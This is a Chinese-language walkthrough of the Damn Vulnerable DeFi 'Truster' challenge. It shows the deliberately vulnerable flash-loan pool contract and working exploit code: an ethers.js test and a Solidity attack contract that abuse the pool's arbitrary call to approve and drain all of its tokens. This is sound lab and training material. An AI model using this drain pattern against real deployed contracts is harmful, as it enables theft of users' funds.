Defi黑客系列：Damn Vulnerable DeFi (三) - Truster

题目链接：https://www.damnvulnerabledefi.xyz/challenges/3.html

题目描述：

有一个借贷池合约提供 DVT 代币的闪电贷功能，其中有 100 万个代币。而你一个都没有，你需要做的就是在一笔交易中取光该借贷池的代币。

同样首先看下借贷池合约的源码

TrusterLenderPool.sol

Copy
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {

using Address for address;

// token 实例
IERC20 public immutable damnValuableToken;

constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}

// 闪电贷方法
// borrowAmount 借出的数量
// borrower 借出人
// target 回调的合约地址
// data 回调的合约方法以及参数形成的 calldata 数据
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
// 获取该合约 DVT token的余额
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// 转 borrowAmount 数量的 DVT token 到 borrower 地址中
damnValuableToken.transfer(borrower, borrowAmount);
// 调用 target 的回调方法
target.functionCall(data);

// 确保已返还token
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}

通过智能合约可以看出，想通过 flashLoan 方法拿出所有 token 是没有办法的。因为合约最后会校验余额，不满足的话会回滚交易。

换个思路，如果能够调用 token 合约的 transferFrom 方法，即

Copy
token.transForm(pool, attacker, account);

将借贷池合约中的 token 转到 attacker 地址，就能达到目的了。

但要使 transForm 成功执行，就需要 token 合约的授权。在 ERC20 标准中有方法

Copy
function approve(address spender, uint256 amount) public virtual override returns (bool)

即同意 spender 花费调用者账户 amount 数量的 token。

在本题中，就可以在借贷池合约中调用类似下面的方法：

Copy
token.approve(attacker, amount);

即 调用者 (借贷池合约) 同意 attacker 地址花费其 amount 数量的 token。

然而，借贷池合约中并没有可以调用的地方，但我们注意到 flashLoan 方法内部有行代码 target.functionCall(data);， 其内部核心就是进行底层调用 target.call(data)

智能合约之间的交互都是通过 calldata, 形如：
0x6057361d000000000000000000000000000000000000000000000000000000000000000a
前 4 个字节（6057361d）是函数 selector（函数的标识符），其余是传递给函数的输入参数。
在合约内部通过构造 calldata，可以通过 abi.encodeWithSignature ("函数名 (... 参数类型)", ...params)

所以在本题 target 是 token 合约的地址，data 是 approve 方法，在 js 中通过下面的方法构造 data

Copy
const abi = [
'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

之后就可以调用 flashLoan 方法并传入对应的参数。成功执行后就意味着借贷池合约中的余额可以随意供 attacker 操作。代码如下

Copy
it('Exploit', async function () {
const abi = [
'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

await this.pool.flashLoan(0, deployer.address, this.token.address, data)
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL)
})

运行 yarn truster, 测试通过！

然而题目要求进行一笔交易，显然我们的代码是不满足要求的，所以可以通过智能合约执行一笔交易

TrusterAttack.sol

Copy
pragma solidity ^0.8.0;

import "../truster/TrusterLenderPool.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterAttack {
TrusterLenderPool public pool;
IERC20 public token;

constructor(address _pool, address _token) {
pool = TrusterLenderPool(_pool);
token = IERC20(_token);
}

function attack(address borrower) external {
address sender = msg.sender;
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
pool.flashLoan(0, borrower, address(token), data);

token.transferFrom(address(pool), sender, token.balanceOf(address(pool)));
}
}

之后在测试用例中部署合约，执行 attack 方法

Copy
it('Exploit', async function () {
const TrusterAttack = await ethers.getContractFactory('TrusterAttack', deployer)
const trusterAttack = await TrusterAttack.deploy(this.pool.address, this.token.address)

await trusterAttack.connect(attacker).attack(deployer.address)
})

最后运行 yarn truster, 测试通过！

完整代码